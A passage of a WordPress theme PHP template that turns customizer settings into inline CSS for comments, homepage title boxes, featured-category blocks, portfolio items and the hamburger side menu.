		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_cmdate' ) ): ?>
            .thecomment .comment-text span.date{ color: <?php echo get_theme_mod( 'penci_relatedcm_cmdate' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_replyedit' ) ): ?>
            .post-comments span.reply a, .post-comments span.reply a:hover{ color: <?php echo get_theme_mod( 'penci_relatedcm_replyedit' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_cmcontent' ) ): ?>
            .thecomment .comment-content, .thecomment .comment-content p{ color: <?php echo get_theme_mod( 'penci_relatedcm_cmcontent' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_cminput' ) ): ?>
            #respond input[type="text"], #respond input[type="email"], #respond textarea{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond input[type="text"]::placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; opacity: 1; } #respond input[type="text"]:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond input[type="text"]::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond input[type="email"]::placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; opacity: 1; } #respond input[type="email"]:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond input[type="email"]::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond textarea::placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; opacity: 1; } #respond textarea:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond textarea::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_gdpr' ) ): ?>
            form#commentform > .comment-form-cookies-consent, form#commentform > div.penci-gdpr-message{ color: <?php echo get_theme_mod( 'penci_relatedcm_gdpr' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_related_rm_border' ) ): ?>
			.post-related {border-top: 0;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_nav_rm_bt' ) ): ?>
			.post-pagination {border-top: 0;}
			.post-author.abio-style-5{border-bottom:1px solid var(--pcborder-cl) !important}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_comments_rm_bt' ) ): ?>
			h3.comment-reply-title,.post-comments .post-title-box {border-top: 0; padding-top: 0;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_author_rm_bt' ) ): ?>
			.post-author:not(.abio-style-4):not(.abio-style-5) {border-top: 0;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_insta_hide_icon' ) ): ?>
            .footer-instagram-html h4.footer-instagram-title>span:before{ content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_insta_hide_icon' ) ): ?>
            .penci-top-instagram h4.footer-instagram-title>span:before{ content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_boxes_overlay' ) ): ?>
            ul.homepage-featured-boxes .penci-fea-in h4 span span, ul.homepage-featured-boxes .penci-fea-in h4 span, ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4 { background-color: <?php echo get_theme_mod( 'penci_home_boxes_overlay' ); ?>; }
            ul.homepage-featured-boxes li .penci-fea-in:before, ul.homepage-featured-boxes li .penci-fea-in:after, ul.homepage-featured-boxes .penci-fea-in h4 span span:before, ul.homepage-featured-boxes .penci-fea-in h4 > span:before, ul.homepage-featured-boxes .penci-fea-in h4 > span:after, ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before { border-color: <?php echo get_theme_mod( 'penci_home_boxes_overlay' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_boxes_title_color' ) ): ?>
            ul.homepage-featured-boxes .penci-fea-in h4 span span { color: <?php echo get_theme_mod( 'penci_home_boxes_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_boxes_accent_hover_color' ) ): ?>
            ul.homepage-featured-boxes .penci-fea-in:hover h4 span { color: <?php echo get_theme_mod( 'penci_home_boxes_accent_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_label_color' ) ): ?>
            .home-pupular-posts-title { color: <?php echo get_theme_mod( 'penci_home_popular_label_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_border_color' ) ): ?>
            .penci-home-popular-posts { border-color: <?php echo get_theme_mod( 'penci_home_popular_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_title_color' ) ): ?>
            .penci-home-popular-post .item-related h3 a { color: <?php echo get_theme_mod( 'penci_home_popular_post_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_title_hover_color' ) ): ?>
            .penci-home-popular-post .item-related h3 a:hover { color: <?php echo get_theme_mod( 'penci_home_popular_post_title_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_date_color' ) ): ?>
            .penci-home-popular-post .item-related span.date { color: <?php echo get_theme_mod( 'penci_home_popular_post_date_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_bg' ) ): ?>
			.penci-homepage-title.style-30 .inner-arrow > span,
			.penci-homepage-title.style-21,.penci-homepage-title.style-28{ --pcaccent-cl: <?php echo get_theme_mod( 'penci_home_title_box_bg' ); ?> }
			.penci-homepage-title.style-25 .inner-arrow,
			.penci-homepage-title.style-25 .widget-title,
			.penci-homepage-title.style-23 .inner-arrow > span:before,
			.penci-homepage-title.style-24 .inner-arrow > span:before,
			.penci-homepage-title.style-23 .inner-arrow > a:before,
			.penci-homepage-title.style-24 .inner-arrow > a:before,
            .penci-homepage-title.style-14 .inner-arrow:before,
            .penci-homepage-title.style-11 .inner-arrow,
            .penci-homepage-title.style-12 .inner-arrow,
            .penci-homepage-title.style-13 .inner-arrow,
            .penci-homepage-title .inner-arrow, .penci-homepage-title.style-15 .inner-arrow{ background-color: <?php echo get_theme_mod( 'penci_home_title_box_bg' ); ?>; }
            .penci-border-arrow.penci-homepage-title.style-2:after{ border-top-color: <?php echo get_theme_mod( 'penci_home_title_box_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_outer_bg' ) ): ?>
			.penci-homepage-title.style-25 .inner-arrow { --pcheading-cl: <?php echo get_theme_mod( 'penci_home_title_box_outer_bg' ); ?>; }
			.penci-homepage-title.style-22 .inner-arrow:after,
			.penci-homepage-title.style-23 .inner-arrow > span:after,
			.penci-homepage-title.style-24 .inner-arrow > span:after,
			.penci-homepage-title.style-23 .inner-arrow > a:after,
			.penci-homepage-title.style-24 .inner-arrow > a:after,
            .penci-border-arrow.penci-homepage-title:after { background-color: <?php echo get_theme_mod( 'penci_home_title_box_outer_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_border_color' ) ): ?>
			.penci-homepage-title.style-21 .inner-arrow{--pcheading-cl:<?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>;}
			.penci-homepage-title.style-26 .inner-arrow,.penci-homepage-title.style-30 .inner-arrow{--pcborder-cl:<?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>;}
			.penci-homepage-title.style-24 .inner-arrow>span,
			.penci-homepage-title.style-23 .inner-arrow>span,
			.penci-homepage-title.style-24 .inner-arrow>a,
			.penci-homepage-title.style-23 .inner-arrow>a,
			.penci-homepage-title.style-29 .inner-arrow > span,
			.penci-homepage-title.style-22,.penci-homepage-title.style-21 .inner-arrow span{--pcaccent-cl:<?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>;}
            .penci-border-arrow.penci-homepage-title .inner-arrow, .penci-homepage-title.style-4 .inner-arrow:before, .penci-homepage-title.style-4 .inner-arrow:after, .penci-homepage-title.style-7, .penci-homepage-title.style-9 { border-color: <?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>; }
            .penci-border-arrow.penci-homepage-title:before { border-top-color: <?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>; }
            .penci-homepage-title.style-5, .penci-homepage-title.style-7{ border-color: <?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>; }
            .penci-homepage-title.style-16.penci-border-arrow:after{ background-color: <?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_border_bottom5' ) ): ?>
            .penci-homepage-title.style-10, .penci-homepage-title.style-12,
            .penci-border-arrow.penci-homepage-title.style-5 .inner-arrow{ border-bottom-color: <?php echo get_theme_mod( 'penci_home_title_box_border_bottom5' ); ?>; }
            .penci-homepage-title.style-5{ border-color: <?php echo get_theme_mod( 'penci_home_title_box_border_bottom5' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_border_bottom7' ) ): ?>
            .penci-homepage-title.style-7 .inner-arrow:before, .penci-homepage-title.style-9 .inner-arrow:before{ background-color: <?php echo get_theme_mod( 'penci_home_title_box_border_bottom7' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_home_title_box_border_top10' ) ): ?>
            .penci-homepage-title.style-10{ border-top-color: <?php echo get_theme_mod( 'penci_home_title_box_border_top10' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_shapes_color' ) ): ?>
            .penci-homepage-title.style-13.pcalign-center .inner-arrow:before,
            .penci-homepage-title.style-13.pcalign-right .inner-arrow:before{ border-left-color: <?php echo get_theme_mod( 'penci_home_title_box_shapes_color' ); ?>; }
            .penci-homepage-title.style-13.pcalign-center .inner-arrow:after,
            .penci-homepage-title.style-13.pcalign-left .inner-arrow:after{ border-right-color: <?php echo get_theme_mod( 'penci_home_title_box_shapes_color' ); ?>; }

            .penci-homepage-title.style-12 .inner-arrow:before,
            .penci-homepage-title.style-12.pcalign-center .inner-arrow:after,
            .penci-homepage-title.style-12.pcalign-right .inner-arrow:after{ border-bottom-color: <?php echo get_theme_mod( 'penci_home_title_box_shapes_color' ); ?>; }
            .penci-homepage-title.style-11 .inner-arrow:after,
            .penci-homepage-title.style-11 .inner-arrow:before{ border-top-color: <?php echo get_theme_mod( 'penci_home_title_box_shapes_color' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_home_bgstyle15' ) ): ?>
            .penci-homepage-title.style-15.penci-border-arrow:before{ background-color: <?php echo get_theme_mod( 'penci_home_bgstyle15' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_iconstyle15' ) ): ?>
            .penci-homepage-title.style-15.penci-border-arrow:after{ color: <?php echo get_theme_mod( 'penci_home_iconstyle15' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_cllines' ) ): ?>
            .penci-homepage-title.style-18.penci-border-arrow:after{ color: <?php echo get_theme_mod( 'penci_home_cllines' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_home_title_box_border_inner_color' ) ): ?>
			.penci-homepage-title.style-24 .inner-arrow,
			.penci-homepage-title.style-23 .inner-arrow,
			.penci-homepage-title.style-22{--pcborder-cl:<?php echo get_theme_mod( 'penci_home_title_box_border_inner_color' ); ?>;}
            .penci-border-arrow.penci-homepage-title:after { border-color: <?php echo get_theme_mod( 'penci_home_title_box_border_inner_color' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_home_title_box_text_color' ) ): ?>
			.penci-homepage-title.style-21 .inner-arrow,
			.penci-homepage-title.style-22,
			.penci-homepage-title.style-23,
			.penci-homepage-title.style-28,
			.penci-homepage-title.style-24{ --pcheading-cl: <?php echo get_theme_mod( 'penci_home_title_box_text_color' ); ?>; }
			.penci-homepage-title.style-25 .inner-arrow > span,.penci-homepage-title.style-25 .inner-arrow > a, .penci-homepage-title.style-30 .inner-arrow > span, .penci-homepage-title.style-29 .inner-arrow span,
            .penci-homepage-title .inner-arrow, .penci-homepage-title.penci-magazine-title .inner-arrow a { color: <?php echo get_theme_mod( 'penci_home_title_box_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_remove_border_outer' ) ): ?>
            .penci-homepage-title:after { content: none; display: none; }
            .penci-homepage-title { margin-left: 0; margin-right: 0; margin-top: 0; }
            .penci-homepage-title:before { bottom: -6px; border-width: 6px; margin-left: -6px; }
            .rtl .penci-homepage-title:before { bottom: -6px; border-width: 6px; margin-right: -6px; margin-left: 0; }
            .penci-homepage-title.penci-magazine-title:before{ left: 25px; }
            .rtl .penci-homepage-title.penci-magazine-title:before{ right: 25px; left:auto; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_remove_arrow_down' ) ): ?>
            .penci-homepage-title:before, .penci-border-arrow.penci-homepage-title.style-2:after { content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_title_color' ) ): ?>
            .home-featured-cat-content .magcat-detail h3 a { color: <?php echo get_theme_mod( 'penci_home_featured_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_title_hover_color' ) ): ?>
            .home-featured-cat-content .magcat-detail h3 a:hover { color: <?php echo get_theme_mod( 'penci_home_featured_title_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_meta_color' ) ): ?>
            .home-featured-cat-content .grid-post-box-meta span{ color: <?php echo get_theme_mod( 'penci_home_featured_meta_color' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured3_meta_color' ) ): ?>
            .home-featured-cat-content .mag-photo .grid-post-box-meta span, .home-featured-cat-content .mag-photo .grid-post-box-meta span a, .home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta span, .home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta span a, .home-featured-cat-content.style-14 .mag-meta, .home-featured-cat-content.style-14 .mag-meta span a, .home-featured-cat-content .mag-photo .grid-post-box-meta span:after, .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span, .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span a{ color: <?php echo get_theme_mod( 'penci_home_featured3_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_metalink_color' ) ): ?>
            .home-featured-cat-content .grid-post-box-meta span a{ color: <?php echo get_theme_mod( 'penci_home_featured_metalink_color' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_accent_color' ) ): ?>
            .home-featured-cat-content .grid-post-box-meta span a:hover { color: <?php echo get_theme_mod( 'penci_home_featured_accent_color' ); ?>; }
            .home-featured-cat-content .first-post .magcat-detail .mag-header:after { background: <?php echo get_theme_mod( 'penci_home_featured_accent_color' ); ?>; }
            .penci-slider ol.penci-control-nav li a.penci-active, .penci-slider ol.penci-control-nav li a:hover { border-color: <?php echo get_theme_mod( 'penci_home_featured_accent_color' ); ?>; background: <?php echo get_theme_mod( 'penci_home_featured_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_viewall_color' ) ): ?>
            .penci-featured-cat-seemore a, .penci-featured-cat-seemore.penci-btn-make-button a{ color: <?php echo get_theme_mod( 'penci_home_featured_viewall_color' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_viewall_bg' ) ): ?>
            .penci-featured-cat-seemore.penci-btn-make-button a{ background-color: <?php echo get_theme_mod( 'penci_home_featured_viewall_bg' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured3_overlay_color' ) ): ?>
            .home-featured-cat-content .mag-photo .mag-overlay-photo { background-color: <?php echo get_theme_mod( 'penci_home_featured3_overlay_color' ); ?>; }
		<?php endif; ?>
        .home-featured-cat-content .mag-photo .mag-overlay-photo { opacity: <?php echo get_theme_mod( 'penci_home_featured3_overlay_opacity' ); ?>; }
        .home-featured-cat-content .mag-photo:hover .mag-overlay-photo { opacity: <?php echo get_theme_mod( 'penci_home_featured3_overlay_hover_opacity' ); ?>; }
		<?php if ( get_theme_mod( 'penci_home_featured3_title_color' ) ): ?>
            .home-featured-cat-content .mag-photo .magcat-detail h3 a, .penci-single-mag-slider .magcat-detail .magcat-titlte a, .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a, .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a{ color: <?php echo get_theme_mod( 'penci_home_featured3_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured3_title_hover_color' ) ): ?>
            .home-featured-cat-content .mag-photo .magcat-detail h3 a:hover, .penci-single-mag-slider .magcat-detail .magcat-titlte a:hover, .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a:hover, .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a:hover { color: <?php echo get_theme_mod( 'penci_home_featured3_title_hover_color' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_portfolio_layout_title_color' ) ): ?>
            .portfolio-overlay-content .portfolio-short .portfolio-title a, .text-grid-info h3 a { color: <?php echo get_theme_mod( 'penci_portfolio_layout_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_layout_title_hover' ) ): ?>
            .portfolio-overlay-content .portfolio-short .portfolio-title a:hover, .text-grid-info h3 a:hover { color: <?php echo get_theme_mod( 'penci_portfolio_layout_title_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_buttons_icon_color' ) ): ?>
            .portfolio-buttons a { color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_buttons_icon_hover' ) ): ?>
            .portfolio-item .portfolio-buttons a:hover { color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_hover' ); ?>; border-color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_hover' ); ?>; }
            .portfolio-item .portfolio-buttons a.liked > i { color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_layout_overlay_color' ) ): ?>
            .portfolio-overlay-background { background: <?php echo get_theme_mod( 'penci_portfolio_layout_overlay_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_layout_overlay_border_color' ) ): ?>
            .inner-item-portfolio:hover .portfolio-overlay-background { border-color: <?php echo get_theme_mod( 'penci_portfolio_layout_overlay_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_grid_categories_color' ) ): ?>
            .text-grid-cat, .text-grid-cat a { color: <?php echo get_theme_mod( 'penci_portfolio_grid_categories_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_grid_categories_hover' ) ): ?>
            .text-grid-cat a:hover { color: <?php echo get_theme_mod( 'penci_portfolio_grid_categories_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_overlay_color' ) ): ?>
            .penci-portfolio-thumbnail a:after { background-color: <?php echo get_theme_mod( 'penci_portfolio_overlay_color' ); ?>; }
		<?php endif; ?>
        .inner-item-portfolio:hover .penci-portfolio-thumbnail a:after { opacity: <?php echo get_theme_mod( 'penci_portfolio_overlay_opacity' ); ?>; }
		<?php if ( get_theme_mod( 'penci_portfolio_title_color' ) ): ?>
            .inner-item-portfolio .portfolio-desc h3 { color: <?php echo get_theme_mod( 'penci_portfolio_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_cate_color' ) ): ?>
            .inner-item-portfolio .portfolio-desc span { color: <?php echo get_theme_mod( 'penci_portfolio_cate_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_title_hcolor' ) ): ?>
            .inner-item-portfolio .portfolio-desc h3:hover { color: <?php echo get_theme_mod( 'penci_portfolio_title_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_cate_hcolor' ) ): ?>
            .inner-item-portfolio .portfolio-desc span:hover { color: <?php echo get_theme_mod( 'penci_portfolio_cate_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_menu_hbg_mobile' ) ): ?>
            @media only screen and (max-width: 960px){ .penci-menuhbg-wapper { display: none !important; } }
		<?php endif; ?>
		<?php $hbg_size = get_theme_mod( 'penci_hbg_size_icon' ); ?>
		<?php if ( $hbg_size && $hbg_size > 13 && $hbg_size < 31 ): ?>
            .penci-menuhbg-toggle { width: <?php echo $hbg_size; ?>px; }
            .penci-menuhbg-toggle .penci-menuhbg-inner { height: <?php echo $hbg_size; ?>px; }
            .penci-menuhbg-toggle .penci-lines, .penci-menuhbg-wapper{ width: <?php echo $hbg_size; ?>px; }
            .penci-menuhbg-toggle .lines-button{ top: <?php echo ( $hbg_size - 2 ) / 2; ?>px; }
            .penci-menuhbg-toggle .penci-lines:before{ top: <?php echo( ( $hbg_size / 2 ) - 4 ); ?>px; }
            .penci-menuhbg-toggle .penci-lines:after{ top: -<?php echo( ( $hbg_size / 2 ) - 4 ); ?>px; }
            .penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after{ transform: translateX(<?php echo( $hbg_size + 10 ); ?>px); }
            .penci-menuhbg-toggle .lines-button.penci-hover-effect{ left: -<?php echo( $hbg_size + 10 ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_hbg_sitetitle_size' ) ): ?>
            .penci-menu-hbg-inner .penci-hbg_sitetitle{ font-size: <?php echo get_theme_mod( 'penci_hbg_sitetitle_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_hbg_sitedes_size' ) ): ?>
            .penci-menu-hbg-inner .penci-hbg_desc{ font-size: <?php echo get_theme_mod( 'penci_hbg_sitedes_size' ); ?>px; }
		<?php endif; ?>
		<?php
		if ( get_theme_mod( 'penci_menu_hbg_show' ) || get_theme_mod( 'penci_vertical_nav_show' ) || get_theme_mod( 'pchdbd_all' ) || get_theme_mod( 'pchdbd_homepage' ) || get_theme_mod( 'pchdbd_archive' ) || get_theme_mod( 'pchdbd_post' ) || get_theme_mod( 'pchdbd_page' ) || get_theme_mod( 'pchdbd_woocommerce' ) ):
			$max_width_hbg = get_theme_mod( 'penci_hbg_logo_max_width' );
			if ( get_theme_mod( 'penci_hbg_logo_max_width' ) ) {
				echo '.penci-hbg-logo img{ max-width: ' . $max_width_hbg . 'px; }';
			}
			$penci_hbg_width  = get_theme_mod( 'penci_hbg_width' );
			$penci_hbg_screen = 1500;
			if ( $penci_hbg_width && $penci_hbg_width > 249 && $penci_hbg_width < 501 ) {
				$penci_hbg_screen = 1170 + $penci_hbg_width;
				echo '.penci-menu-hbg{ width: ' . $penci_hbg_width . 'px; }';
				echo '.penci-menu-hbg.penci-menu-hbg-left{ transform: translateX(-' . $penci_hbg_width . 'px); -webkit-transform: translateX(-' . $penci_hbg_width . 'px); -moz-transform: translateX(-' . $penci_hbg_width . 'px); }';
				echo '.penci-menu-hbg.penci-menu-hbg-right{ transform: translateX(' . $penci_hbg_width . 'px); -webkit-transform: translateX(' . $penci_hbg_width . 'px); -moz-transform: translateX(' . $penci_hbg_width . 'px); }';
				echo '.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-left, .penci-vernav-poleft.penci-menuhbg-open .penci-vernav-toggle{ left: ' . $penci_hbg_width . 'px; }';
				echo '@media only screen and (min-width: 961px) { .penci-vernav-enable.penci-vernav-poleft .wrapper-boxed, .penci-vernav-enable.penci-vernav-poleft .pencipdc_podcast.pencipdc_dock_player{ padding-left: ' . $penci_hbg_width . 'px; } .penci-vernav-enable.penci-vernav-poright .wrapper-boxed, .penci-vernav-enable.penci-vernav-poright .pencipdc_podcast.pencipdc_dock_player{ padding-right: ' . $penci_hbg_width . 'px; } .penci-vernav-enable .is-sticky #navigation{ width: calc(100% - ' . $penci_hbg_width . 'px); } }';
				echo '@media only screen and (min-width: 961px) { .penci-vernav-enable .penci_is_nosidebar .wp-block-image.alignfull, .penci-vernav-enable .penci_is_nosidebar .wp-block-cover-image.alignfull, .penci-vernav-enable .penci_is_nosidebar .wp-block-cover.alignfull, .penci-vernav-enable .penci_is_nosidebar .wp-block-gallery.alignfull, .penci-vernav-enable .penci_is_nosidebar .alignfull{ margin-left: calc(50% - 50vw + ' . floor( $penci_hbg_width / 2 ) . 'px); width: calc(100vw - ' . $penci_hbg_width . 'px); } }';
				echo '.penci-vernav-poright.penci-menuhbg-open .penci-vernav-toggle{ right: ' . $penci_hbg_width . 'px; }';
				echo '@media only screen and (min-width: 961px) { .penci-vernav-enable.penci-vernav-poleft .penci-rltpopup-left{ left: ' . $penci_hbg_width . 'px; } }';
				echo '@media only screen and (min-width: 961px) { .penci-vernav-enable.penci-vernav-poright .penci-rltpopup-right{ right: ' . $penci_hbg_width . 'px; } }';
			}
			echo '@media only screen and (max-width: ' . $penci_hbg_screen . 'px) and (min-width: 961px) { .penci-vernav-enable .container { max-width: 100%; max-width: calc(100% - 30px); } .penci-vernav-enable .container.home-featured-boxes{ display: block; } .penci-vernav-enable .container.home-featured-boxes:before, .penci-vernav-enable .container.home-featured-boxes:after{ content: ""; display: table; clear: both; } }';

			$mhbg_icon_toggle_color  = get_theme_mod( 'penci_mhbg_icon_toggle_color' );
			$mhbg_icon_toggle_hcolor = get_theme_mod( 'penci_mhbg_icon_toggle_hcolor' );

			$penci_mhbg_mobilecl   = get_theme_mod( 'penci_mhbg_mobilecl' );
			$penci_mhbg_mobilebgcl = get_theme_mod( 'penci_mhbg_mobilebgcl' );

			if ( $penci_mhbg_mobilebgcl ) {
				echo '.penci-vernav-toggle:before{border-top-color:' . $penci_mhbg_mobilebgcl . '}';
			}

			if ( $penci_mhbg_mobilecl ) {
				echo '.penci-vernav-toggle svg{fill:' . $penci_mhbg_mobilecl . '}';
			}

			if ( $mhbg_icon_toggle_color ) {
				echo '.penci-menuhbg-toggle .lines-button:after,.penci-menuhbg-toggle .penci-lines:before, .penci-menuhbg-toggle .penci-lines:after{ background-color: ' . esc_attr( $mhbg_icon_toggle_color ) . ' }';
			}

			if ( $mhbg_icon_toggle_hcolor ) {
				echo '.penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after{ background-color: ' . esc_attr( $mhbg_icon_toggle_hcolor ) . ' }';
			}

			$mhbg_bgcolor            = get_theme_mod( 'penci_mhbg_bgcolor' );
			$mhbg_textcolor          = get_theme_mod( 'penci_mhbg_textcolor' );
			$mhbg_closecolor         = get_theme_mod( 'penci_mhbg_closecolor' );
			$mhbg_closehover         = get_theme_mod( 'penci_mhbg_closehover' );
			$mhbg_bordercolor        = get_theme_mod( 'penci_mhbg_bordercolor' );
			$mhbg_bgimgcolor         = get_theme_mod( 'penci_menu_hbg_bgimg' );
			$mhbgtitle_color         = get_theme_mod( 'penci_mhbgtitle_color' );
			$mhbgdesc_hcolor         = get_theme_mod( 'penci_mhbgdesc_hcolor' );
			$mhbgsearch_border       = get_theme_mod( 'penci_mhbg_search_border' );
			$mhbgsearch_border_hover = get_theme_mod( 'penci_mhbg_search_border_hover' );
			$mhbgsearch_color        = get_theme_mod( 'penci_mhbg_search_color' );
			$mhbgsearch_icon         = get_theme_mod( 'penci_mhbg_search_icon' );
			$mhbgaccent_color        = get_theme_mod( 'penci_mhbgaccent_color' );
			$mhbgaccent_hover_color  = get_theme_mod( 'penci_mhbgaccent_hover_color' );
			$mhbgfooter_color        = get_theme_mod( 'penci_mhbgfooter_color' );
			$mhbgicon_color          = get_theme_mod( 'penci_mhbgicon_color' );
			$mhbgicon_hover_color    = get_theme_mod( 'penci_mhbgicon_hover_color' );
			$mhbg_social_size        = get_theme_mod( 'penci_menuhbg_icon_size' );
			$mhbgicon_border         = get_theme_mod( 'penci_mhbgicon_border' );
			$mhbgicon_border_hover   = get_theme_mod( 'penci_mhbgicon_border_hover' );
			$mhbgicon_bg             = get_theme_mod( 'penci_mhbgicon_bg' );
			$mhbgicon_bg_hover       = get_theme_mod( 'penci_mhbgicon_bg_hover' );

			$mhbg_widget_title_color = get_theme_mod( 'penci_mhbg_widget_title_color' );
			$mhbgicon_bg_hover_color = get_theme_mod( 'penci_mhbgicon_bg_hover_color' );

			if ( $mhbg_bgcolor ) {
				echo '.penci-menu-hbg,.penci-menu-hbg .penci-sidebar-content .widget-title{background-color: ' . esc_attr( $mhbg_bgcolor ) . ';}';
			}
			if ( $mhbg_bgimgcolor ) {
				echo '.penci-menu-hbg{background-image: url( ' . esc_url( $mhbg_bgimgcolor ) . ' );}';
			}
			if ( $mhbg_closecolor ) {
				echo '.penci-menu-hbg-inner #penci-close-hbg:before, .penci-menu-hbg-inner #penci-close-hbg:after{background-color: ' . esc_attr( $mhbg_closecolor ) . ';}';
			}
			if ( $mhbg_closehover ) {
